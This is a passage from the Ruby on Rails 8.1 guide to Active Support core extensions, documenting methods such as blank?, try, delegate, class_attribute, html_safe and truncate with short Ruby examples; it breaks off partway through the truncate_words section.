----
url: https://guides.rubyonrails.org/v8.1/active_support_core_extensions.html
----

***

## [1. How to Load Core Extensions](#how-to-load-core-extensions)

### [1.1. Stand-Alone Active Support](#stand-alone-active-support)

In order to have the smallest default footprint possible, Active Support loads the minimum dependencies by default. It is broken in small pieces so that only the desired extensions can be loaded. It also has some convenience entry points to load related extensions in one shot, even everything.

Thus, after a simple require like:

```
require "active_support"
```

only the extensions required by the Active Support framework are loaded.

#### [1.1.1. Cherry-picking a Definition](#cherry-picking-a-definition)

This example shows how to load [`Hash#with_indifferent_access`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-with_indifferent_access). This extension enables the conversion of a `Hash` into an [`ActiveSupport::HashWithIndifferentAccess`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/HashWithIndifferentAccess.html) which permits access to the keys as either strings or symbols.

```
{ a: 1 }.with_indifferent_access["a"] # => 1
```

For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `with_indifferent_access` the note reads:

Defined in `active_support/core_ext/hash/indifferent_access.rb`.

That means that you can require it like this:

```
require "active_support"
require "active_support/core_ext/hash/indifferent_access"
```

Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.

#### [1.1.2. Loading Grouped Core Extensions](#loading-grouped-core-extensions)

The next level is to simply load all extensions to `Hash`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`.

Thus, to load all extensions to `Hash` (including `with_indifferent_access`):

```
require "active_support"
require "active_support/core_ext/hash"
```

#### [1.1.3. Loading All Core Extensions](#loading-all-core-extensions)

You may prefer just to load all core extensions, there is a file for that:

```
require "active_support"
require "active_support/core_ext"
```

#### [1.1.4. Loading All Active Support](#loading-all-active-support)

And finally, if you want to have all Active Support available just issue:

```
require "active_support/all"
```

That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via `autoload`, so it is only loaded if used.

### [1.2. Active Support Within a Ruby on Rails Application](#active-support-within-a-ruby-on-rails-application)

A Ruby on Rails application loads all Active Support unless [`config.active_support.bare`](configuring.html#config-active-support-bare) is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.

## [2. Extensions to All Objects](#extensions-to-all-objects)

### [2.1. `blank?` and `present?`](#blank-questionmark-and-present-questionmark)

The following values are considered to be blank in a Rails application:

* `nil` and `false`,

* strings composed only of whitespace (see note below),

* empty arrays and hashes, and

* any other object that responds to `empty?` and is empty.

The predicate for strings uses the Unicode-aware character class `[:space:]`, so for example U+2029 (paragraph separator) is considered to be whitespace.

Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank.

For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses [`blank?`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-blank-3F) for checking whether a token is present:

```
def authenticate(controller, &login_procedure)
  token, options = token_and_options(controller.request)
  unless token.blank?
    login_procedure.call(token, options)
  end
end
```

The method [`present?`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-present-3F) is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`:

```
def set_conditional_cache_control!
  unless self["Cache-Control"].present?
    # ...
  end
end
```

Defined in `active_support/core_ext/object/blank.rb`.

### [2.2. `presence`](#presence)

The [`presence`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-presence) method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this:

```
host = config[:host].presence || "localhost"
```

Defined in `active_support/core_ext/object/blank.rb`.

### [2.3. `duplicable?`](#duplicable-questionmark)

As of Ruby 2.5, most objects can be duplicated via `dup` or `clone`:

```
"foo".dup           # => "foo"
"".dup              # => ""
Rational(1).dup     # => (1/1)
Complex(0).dup      # => (0+0i)
1.method(:+).dup    # => TypeError (allocator undefined for Method)
```

Active Support provides [`duplicable?`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-duplicable-3F) to query an object about this:

```
"foo".duplicable?           # => true
"".duplicable?              # => true
Rational(1).duplicable?     # => true
Complex(1).duplicable?      # => true
1.method(:+).duplicable?    # => false
```

Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case.

Defined in `active_support/core_ext/object/duplicable.rb`.

### [2.4. `deep_dup`](#deep-dup)

The [`deep_dup`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-deep_dup) method returns a deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this:

```
array     = ["string"]
duplicate = array.dup

duplicate.push "another-string"

# the object was duplicated, so the element was added only to the duplicate
array     # => ["string"]
duplicate # => ["string", "another-string"]

duplicate.first.gsub!("string", "foo")

# first element was not duplicated, it will be changed in both arrays
array     # => ["foo"]
duplicate # => ["foo, "another-string"]
```

As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make a deep copy, the string inside the array is still the same object.

If you need a deep copy of an object, you should use `deep_dup`. Here is an example:

```
array     = ["string"]
duplicate = array.deep_dup

duplicate.first.gsub!("string", "foo")

array     # => ["string"]
duplicate # => ["foo"]
```

If the object is not duplicable, `deep_dup` will just return it:

```
number = 1
duplicate = number.deep_dup
number.object_id == duplicate.object_id   # => true
```

Defined in `active_support/core_ext/object/deep_dup.rb`.

### [2.5. `try`](#try)

When you want to call a method on an object only if it is not `nil`, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use [`try`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-try). `try` is like `Object#public_send` except that it returns `nil` if sent to `nil`.

Here is an example:

```
# without try
unless @number.nil?
  @number.next
end

# with try
@number.try(:next)
```

Another example is this code from `ActiveRecord::ConnectionAdapters::AbstractAdapter` where `@logger` could be `nil`. You can see that the code uses `try` and avoids an unnecessary check.

```
def log_info(sql, name, ms)
  if @logger.try(:debug?)
    name = "%s (%.1fms)" % [name || "SQL", ms]
    @logger.debug(format_log_entry(name, sql.squeeze(" ")))
  end
end
```

`try` can also be called without arguments but a block, which will only be executed if the object is not nil:

```
@person.try { |p| "#{p.first_name} #{p.last_name}" }
```

Note that `try` will swallow no-method errors, returning nil instead. If you want to protect against typos, use [`try!`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-try-21) instead:

```
@number.try(:nest)  # => nil
@number.try!(:nest) # NoMethodError: undefined method `nest' for 1:Integer
```

Defined in `active_support/core_ext/object/try.rb`.

### [2.6. `class_eval(*args, &block)`](#class-eval-args-block)

You can evaluate code in the context of any object's singleton class using [`class_eval`](https://api.rubyonrails.org/v8.1.4/classes/Kernel.html#method-i-class_eval):

```
class Proc
  def bind(object)
    block, time = self, Time.current
    object.class_eval do
      method_name = "__bind_#{time.to_i}_#{time.usec}"
      define_method(method_name, &block)
      method = instance_method(method_name)
      remove_method(method_name)
      method
    end.bind(object)
  end
end
```

Defined in `active_support/core_ext/kernel/singleton_class.rb`.

### [2.7. `acts_like?(duck)`](#acts-like-questionmark-duck)

The method [`acts_like?`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-acts_like-3F) provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines

```
def acts_like_string?
end
```

which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:

```
some_klass.acts_like?(:string)
```

Rails has classes that act like `Date` or `Time` and follow this contract.

Defined in `active_support/core_ext/object/acts_like.rb`.

### [2.8. `to_param`](#to-param)

All objects in Rails respond to the method [`to_param`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-to_param), which is meant to return something that represents them as values in a query string, or as URL fragments.

By default `to_param` just calls `to_s`:

```
7.to_param # => "7"
```

The return value of `to_param` should **not** be escaped:

```
"Tom & Jerry".to_param # => "Tom & Jerry"
```

Several classes in Rails overwrite this method.

For example `nil`, `true`, and `false` return themselves. [`Array#to_param`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-to_param) calls `to_param` on the elements and joins the result with "/":

```
[0, true, String].to_param # => "0/true/String"
```

Notably, the Rails routing system calls `to_param` on models to get a value for the `:id` placeholder. `ActiveRecord::Base#to_param` returns the `id` of a model, but you can redefine that method in your models. For example, given

```
class User
  def to_param
    "#{id}-#{name.parameterize}"
  end
end
```

we get:

```
user_path(@user) # => "/users/357-john-smith"
```

Controllers need to be aware of any redefinition of `to_param` because when a request like that comes in "357-john-smith" is the value of `params[:id]`.

Defined in `active_support/core_ext/object/to_param.rb`.

### [2.9. `to_query`](#to-query)

The [`to_query`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-to_query) method constructs a query string that associates a given `key` with the return value of `to_param`. For example, with the following `to_param` definition:

```
class User
  def to_param
    "#{id}-#{name.parameterize}"
  end
end
```

we get:

```
current_user.to_query("user") # => "user=357-john-smith"
```

This method escapes whatever is needed, both for the key and the value:

```
account.to_query("company[name]")
# => "company%5Bname%5D=Johnson+%26+Johnson"
```

so its output is ready to be used in a query string.

Arrays return the result of applying `to_query` to each element with `key[]` as key, and join the result with "&":

```
[3.4, -45.6].to_query("sample")
# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
```

Hashes also respond to `to_query` but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling `to_query(key)` on its values. Then it joins the result with "&":

```
{ c: 3, b: 2, a: 1 }.to_query # => "a=1&b=2&c=3"
```

The method [`Hash#to_query`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-to_query) accepts an optional namespace for the keys:

```
{ id: 89, name: "John Smith" }.to_query("user")
# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
```

Defined in `active_support/core_ext/object/to_query.rb`.

### [2.10. `with_options`](#with-options)

The method [`with_options`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-with_options) provides a way to factor out common options in a series of method calls.

Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:

```
class Account < ApplicationRecord
  has_many :customers, dependent: :destroy
  has_many :products,  dependent: :destroy
  has_many :invoices,  dependent: :destroy
  has_many :expenses,  dependent: :destroy
end
```

this way:

```
class Account < ApplicationRecord
  with_options dependent: :destroy do |assoc|
    assoc.has_many :customers
    assoc.has_many :products
    assoc.has_many :invoices
    assoc.has_many :expenses
  end
end
```

That idiom may convey *grouping* to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:

```
I18n.with_options locale: user.locale, scope: "newsletter" do |i18n|
  subject i18n.t :subject
  body    i18n.t :body, user_name: user.name
end
```

Since `with_options` forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.

Defined in `active_support/core_ext/object/with_options.rb`.

### [2.11. JSON Support](#json-support)

Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash` and `Process::Status` need special handling in order to provide a proper JSON representation.

Defined in `active_support/core_ext/object/json.rb`.

### [2.12. Instance Variables](#instance-variables)

Active Support provides several methods to ease access to instance variables.

#### [2.12.1. `instance_values`](#instance-values)

The method [`instance_values`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-instance_values) returns a hash that maps instance variable names without "@" to their corresponding values. Keys are strings:

```
class C
  def initialize(x, y)
    @x, @y = x, y
  end
end

C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
```

Defined in `active_support/core_ext/object/instance_variables.rb`.

#### [2.12.2. `instance_variable_names`](#instance-variable-names)

The method [`instance_variable_names`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-instance_variable_names) returns an array. Each name includes the "@" sign.

```
class C
  def initialize(x, y)
    @x, @y = x, y
  end
end

C.new(0, 1).instance_variable_names # => ["@x", "@y"]
```

Defined in `active_support/core_ext/object/instance_variables.rb`.

### [2.13. Silencing Warnings and Exceptions](#silencing-warnings-and-exceptions)

The methods [`silence_warnings`](https://api.rubyonrails.org/v8.1.4/classes/Kernel.html#method-i-silence_warnings) and [`enable_warnings`](https://api.rubyonrails.org/v8.1.4/classes/Kernel.html#method-i-enable_warnings) change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards:

```
silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
```

Silencing exceptions is also possible with [`suppress`](https://api.rubyonrails.org/v8.1.4/classes/Kernel.html#method-i-suppress). This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is not captured:

```
# If the user is locked, the increment is lost, no big deal.
suppress(ActiveRecord::StaleObjectError) do
  current_user.increment! :visits
end
```

Defined in `active_support/core_ext/kernel/reporting.rb`.

### [2.14. `in?`](#in-questionmark)

The predicate [`in?`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-in-3F) tests if an object is included in another object. An `ArgumentError` exception will be raised if the argument passed does not respond to `include?`.

Examples of `in?`:

```
1.in?([1, 2])        # => true
"lo".in?("hello")   # => true
25.in?(30..50)      # => false
1.in?(1)            # => ArgumentError
```

Defined in `active_support/core_ext/object/inclusion.rb`.

## [3. Extensions to `Module`](#extensions-to-module)

### [3.1. Attributes](#attributes)

#### [3.1.1. `alias_attribute`](#alias-attribute)

Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods all defined for you by using [`alias_attribute`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-alias_attribute). As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment):

```
class User < ApplicationRecord
  # You can refer to the email column as "login".
  # This can be meaningful for authentication code.
  alias_attribute :login, :email
end
```

Defined in `active_support/core_ext/module/aliasing.rb`.

#### [3.1.2. Internal Attributes](#internal-attributes)

When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.

Active Support defines the macros [`attr_internal_reader`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-attr_internal_reader), [`attr_internal_writer`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-attr_internal_writer), and [`attr_internal_accessor`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-attr_internal_accessor). They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely.

The macro [`attr_internal`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-attr_internal) is a synonym for `attr_internal_accessor`:

```
# library
class ThirdPartyLibrary::Crawler
  attr_internal :log_level
end

# client code
class MyCrawler < ThirdPartyLibrary::Crawler
  attr_accessor :log_level
end
```

In the previous example it could be the case that `:log_level` does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own `:log_level`. Thanks to `attr_internal` there's no collision.

By default the internal instance variable is named with a leading underscore, `@_log_level` in the example above. That's configurable via `Module.attr_internal_naming_format` though, you can pass any `sprintf`-like format string with a leading `@` and a `%s` somewhere, which is where the name will be placed. The default is `"@_%s"`.

Rails uses internal attributes in a few spots, for examples for views:

```
module ActionView
  class Base
    attr_internal :captures
    attr_internal :request, :layout
    attr_internal :controller, :template
  end
end
```

Defined in `active_support/core_ext/module/attr_internal.rb`.

#### [3.1.3. Module Attributes](#module-attributes)

The macros [`mattr_reader`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-mattr_reader), [`mattr_writer`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-mattr_writer), and [`mattr_accessor`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-mattr_accessor) are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes).

For example, the API for the logger of Active Storage is generated with `mattr_accessor`:

```
module ActiveStorage
  mattr_accessor :logger
end
```

Defined in `active_support/core_ext/module/attribute_accessors.rb`.

### [3.2. Parents](#parents)

#### [3.2.1. `module_parent`](#module-parent)

The [`module_parent`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-module_parent) method on a nested named module returns the module that contains its corresponding constant:

```
module X
  module Y
    module Z
    end
  end
end
M = X::Y::Z

X::Y::Z.module_parent # => X::Y
M.module_parent       # => X::Y
```

If the module is anonymous or belongs to the top-level, `module_parent` returns `Object`.

Note that in that case `module_parent_name` returns `nil`.

Defined in `active_support/core_ext/module/introspection.rb`.

#### [3.2.2. `module_parent_name`](#module-parent-name)

The [`module_parent_name`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-module_parent_name) method on a nested named module returns the fully qualified name of the module that contains its corresponding constant:

```
module X
  module Y
    module Z
    end
  end
end
M = X::Y::Z

X::Y::Z.module_parent_name # => "X::Y"
M.module_parent_name       # => "X::Y"
```

For top-level or anonymous modules `module_parent_name` returns `nil`.

Note that in that case `module_parent` returns `Object`.

Defined in `active_support/core_ext/module/introspection.rb`.

#### [3.2.3. `module_parents`](#module-parents)

The method [`module_parents`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-module_parents) calls `module_parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top:

```
module X
  module Y
    module Z
    end
  end
end
M = X::Y::Z

X::Y::Z.module_parents # => [X::Y, X, Object]
M.module_parents       # => [X::Y, X, Object]
```

Defined in `active_support/core_ext/module/introspection.rb`.

### [3.3. Anonymous](#anonymous)

A module may or may not have a name:

```
module M
end
M.name # => "M"

N = Module.new
N.name # => "N"

Module.new.name # => nil
```

You can check whether a module has a name with the predicate [`anonymous?`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-anonymous-3F):

```
module M
end
M.anonymous? # => false

Module.new.anonymous? # => true
```

Note that being unreachable does not imply being anonymous:

```
module M
end

m = Object.send(:remove_const, :M)

m.anonymous? # => false
```

though an anonymous module is unreachable by definition.

Defined in `active_support/core_ext/module/anonymous.rb`.

### [3.4. Method Delegation](#method-delegation)

#### [3.4.1. `delegate`](#delegate)

The macro [`delegate`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-delegate) offers an easy way to forward methods.

Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model:

```
class User < ApplicationRecord
  has_one :profile
end
```

With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:

```
class User < ApplicationRecord
  has_one :profile

  def name
    profile.name
  end
end
```

That is what `delegate` does for you:

```
class User < ApplicationRecord
  has_one :profile

  delegate :name, to: :profile
end
```

It is shorter, and the intention more obvious.

The method must be public in the target.

The `delegate` macro accepts several methods:

```
delegate :name, :age, :address, :twitter, to: :profile
```

When interpolated into a string, the `:to` option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:

```
# delegates to the Rails constant
delegate :logger, to: :Rails

# delegates to the receiver's class
delegate :table_name, to: :class
```

If the `:prefix` option is `true` this is less generic, see below.

By default, if the delegation raises `NoMethodError` and the target is `nil` the exception is propagated. You can ask that `nil` is returned instead with the `:allow_nil` option:

```
delegate :name, to: :profile, allow_nil: true
```

With `:allow_nil` the call `user.name` returns `nil` if the user has no profile.

The option `:prefix` adds a prefix to the name of the generated method. This may be handy for example to get a better name:

```
delegate :street, to: :address, prefix: true
```

The previous example generates `address_street` rather than `street`.

Since in this case the name of the generated method is composed of the target object and target method names, the `:to` option must be a method name.

A custom prefix may also be configured:

```
delegate :size, to: :attachment, prefix: :avatar
```

In the previous example the macro generates `avatar_size` rather than `size`.

The option `:private` changes methods scope:

```
delegate :date_of_birth, to: :profile, private: true
```

The delegated methods are public by default. Pass `private: true` to change that.

Defined in `active_support/core_ext/module/delegation.rb`.

#### [3.4.2. `delegate_missing_to`](#delegate-missing-to)

Imagine you would like to delegate everything missing from the `User` object, to the `Profile` one. The [`delegate_missing_to`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-delegate_missing_to) macro lets you implement this in a breeze:

```
class User < ApplicationRecord
  has_one :profile

  delegate_missing_to :profile
end
```

The target can be anything callable within the object, e.g. instance variables, methods, constants, etc. Only the public methods of the target are delegated.

Defined in `active_support/core_ext/module/delegation.rb`.

### [3.5. Redefining Methods](#redefining-methods)

There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.

The method [`redefine_method`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-redefine_method) prevents such a potential warning, removing the existing method before if needed.

You can also use [`silence_redefinition_of_method`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-silence_redefinition_of_method) if you need to define the replacement method yourself (because you're using `delegate`, for example).

Defined in `active_support/core_ext/module/redefine_method.rb`.

## [4. Extensions to `Class`](#extensions-to-class)

### [4.1. Class Attributes](#class-attributes)

#### [4.1.1. `class_attribute`](#class-attribute)

The method [`class_attribute`](https://api.rubyonrails.org/v8.1.4/classes/Class.html#method-i-class_attribute) declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.

```
class A
  class_attribute :x
end

class B < A; end

class C < B; end

A.x = :a
B.x # => :a
C.x # => :a

B.x = :b
A.x # => :a
C.x # => :b

C.x = :c
A.x # => :a
B.x # => :b
```

For example `ActionMailer::Base` defines:

```
class_attribute :default_params
self.default_params = {
  mime_version: "1.0",
  charset: "UTF-8",
  content_type: "text/plain",
  parts_order: [ "text/plain", "text/enriched", "text/html" ]
}.freeze
```

They can also be accessed and overridden at the instance level.

```
A.x = 1

a1 = A.new
a2 = A.new
a2.x = 2

a1.x # => 1, comes from A
a2.x # => 2, overridden in a2
```

The generation of the writer instance method can be prevented by setting the option `:instance_writer` to `false`.

```
module ActiveRecord
  class Base
    class_attribute :table_name_prefix, instance_writer: false, default: "my"
  end
end
```

A model may find that option useful as a way to prevent mass-assignment from setting the attribute.

The generation of the reader instance method can be prevented by setting the option `:instance_reader` to `false`.

```
class A
  class_attribute :x, instance_reader: false
end

A.new.x = 1
A.new.x # NoMethodError
```

For convenience `class_attribute` also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called `x?`.

When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method.

If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined.

Defined in `active_support/core_ext/class/attribute.rb`.

#### [4.1.2. `cattr_reader`, `cattr_writer`, and `cattr_accessor`](#cattr-reader-cattr-writer-and-cattr-accessor)

The macros [`cattr_reader`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-cattr_reader), [`cattr_writer`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-cattr_writer), and [`cattr_accessor`](https://api.rubyonrails.org/v8.1.4/classes/Module.html#method-i-cattr_accessor) are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it:

```
class MysqlAdapter < AbstractAdapter
  # Generates class methods to access @@emulate_booleans.
  cattr_accessor :emulate_booleans
end
```

Also, you can pass a block to `cattr_*` to set up the attribute with a default value:

```
class MysqlAdapter < AbstractAdapter
  # Generates class methods to access @@emulate_booleans with default value of true.
  cattr_accessor :emulate_booleans, default: true
end
```

Instance methods are also created for convenience, but they are simply proxies to the internal value which is shared among the class. As a result, when an instance modifies the value, this affects the entire class hierarchy. This behavior is different than `class_attribute` (see above).

For example:

```
class Foo
  cattr_accessor :bar
end

instance = Foo.new

Foo.bar = 1
instance.bar # => 1

instance.bar = 2
Foo.bar # => 2
```

The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.

```
module A
  class B
    # No first_name instance reader is generated.
    cattr_accessor :first_name, instance_reader: false
    # No last_name= instance writer is generated.
    cattr_accessor :last_name, instance_writer: false
    # No surname instance reader or surname= writer is generated.
    cattr_accessor :surname, instance_accessor: false
  end
end
```

A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.

Defined in `active_support/core_ext/module/attribute_accessors.rb`.

### [4.2. Descendants](#extensions-to-class-descendants)

#### [4.2.1. `descendants`](#extensions-to-class-descendants-descendants)

The [`descendants`](https://api.rubyonrails.org/v8.1.4/classes/Class.html#method-i-descendants) method returns all classes that are `<` than its receiver:

```
class C; end
C.descendants # => []

class B < C; end
C.descendants # => [B]

class A < B; end
C.descendants # => [B, A]

class D < C; end
C.descendants # => [B, A, D]
```

The order in which these classes are returned is unspecified.

Defined in `active_support/core_ext/class/subclasses.rb`.

## [5. Extensions to `String`](#extensions-to-string)

### [5.1. Output Safety](#output-safety)

#### [5.1.1. Motivation](#motivation)

Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "\&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in the [Security guide](security.html#cross-site-scripting-xss) for further information about the risks.

#### [5.1.2. Safe Strings](#safe-strings)

Active Support has the concept of *(html) safe* strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.

Strings are considered to be *unsafe* by default:

```
"".html_safe? # => false
```

You can obtain a safe string from a given one with the [`html_safe`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-html_safe) method:

```
s = "".html_safe
s.html_safe? # => true
```

It is important to understand that `html_safe` performs no escaping whatsoever, it is just an assertion:

```
s = "<script>...</script>".html_safe
s.html_safe? # => true
s            # => "<script>...</script>"
```

It is your responsibility to ensure calling `html_safe` on a particular string is fine.

If you append onto a safe string, either in-place with `concat`/`<<`, or with `+`, the result is a safe string. Unsafe arguments are escaped:

```
"".html_safe + "<" # => "&lt;"
```

Safe arguments are directly appended:

```
"".html_safe + "<".html_safe # => "<"
```

These methods should not be used in ordinary views. Unsafe values are automatically escaped:

```
<%= @review.title %> <%# fine, escaped if needed %>
```

To insert something verbatim use the [`raw`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw) helper rather than calling `html_safe`:

```
<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
```

or, equivalently, use `<%==`:

```
<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
```

The `raw` helper calls `html_safe` for you:

```
def raw(stringish)
  stringish.to_s.html_safe
end
```

Defined in `active_support/core_ext/string/output_safety.rb`.

#### [5.1.3. Transformation](#transformation)

As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are `downcase`, `gsub`, `strip`, `chomp`, `underscore`, etc.

In the case of in-place transformations like `gsub!` the receiver itself becomes unsafe.

The safety bit is lost always, no matter whether the transformation actually changed something.

#### [5.1.4. Conversion and Coercion](#conversion-and-coercion)

Calling `to_s` on a safe string returns a safe string, but coercion with `to_str` returns an unsafe string.

#### [5.1.5. Copying](#copying)

Calling `dup` or `clone` on safe strings yields safe strings.

### [5.2. `remove`](#remove)

The method [`remove`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-remove) will remove all occurrences of the pattern:

```
"Hello World".remove(/Hello /) # => "World"
```

There's also the destructive version `String#remove!`.

Defined in `active_support/core_ext/string/filters.rb`.

### [5.3. `squish`](#squish)

The method [`squish`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-squish) strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:

```
" \n  foo\n\r \t bar \n".squish # => "foo bar"
```

There's also the destructive version `String#squish!`.

Note that it handles both ASCII and Unicode whitespace.

Defined in `active_support/core_ext/string/filters.rb`.

### [5.4. `truncate`](#truncate)

The method [`truncate`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-truncate) returns a copy of its receiver truncated after a given `length`:

```
"Oh dear! Oh dear! I shall be late!".truncate(20)
# => "Oh dear! Oh dear!..."
```

Ellipsis can be customized with the `:omission` option:

```
"Oh dear! Oh dear! I shall be late!".truncate(20, omission: "&hellip;")
# => "Oh dear! Oh &hellip;"
```

Note in particular that truncation takes into account the length of the omission string.

Pass a `:separator` to truncate the string at a natural break:

```
"Oh dear! Oh dear! I shall be late!".truncate(18)
# => "Oh dear! Oh dea..."
"Oh dear! Oh dear! I shall be late!".truncate(18, separator: " ")
# => "Oh dear! Oh..."
```

The option `:separator` can be a regexp:

```
"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/)
# => "Oh dear! Oh..."
```

In above examples "dear" gets cut first, but then `:separator` prevents it.

Defined in `active_support/core_ext/string/filters.rb`.

### [5.5. `truncate_bytes`](#truncate-bytes)

The method [`truncate_bytes`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-truncate_bytes) returns a copy of its receiver truncated to at most `bytesize` bytes:

```
"👍👍👍👍".truncate_bytes(15)
# => "👍👍👍…"
```

Ellipsis can be customized with the `:omission` option:

```
"👍👍👍👍".truncate_bytes(15, omission: "🖖")
# => "👍👍🖖"
```

Defined in `active_support/core_ext/string/filters.rb`.

### [5.6. `truncate_words`](#truncate-words)

The method [`truncate_words`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-truncate_words) returns a copy of its receiver truncated after a given number of words:

```
"Oh dear! Oh dear! I shall be late!".truncate_words(4)
# => "Oh dear! Oh dear!..."
```

Ellipsis can be customized with the `:omission` option:

```
"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: "&hellip;")
# => "Oh dear! Oh dear!&hellip;"
```

Pass a `:separator` to truncate the string at a natural break:

```
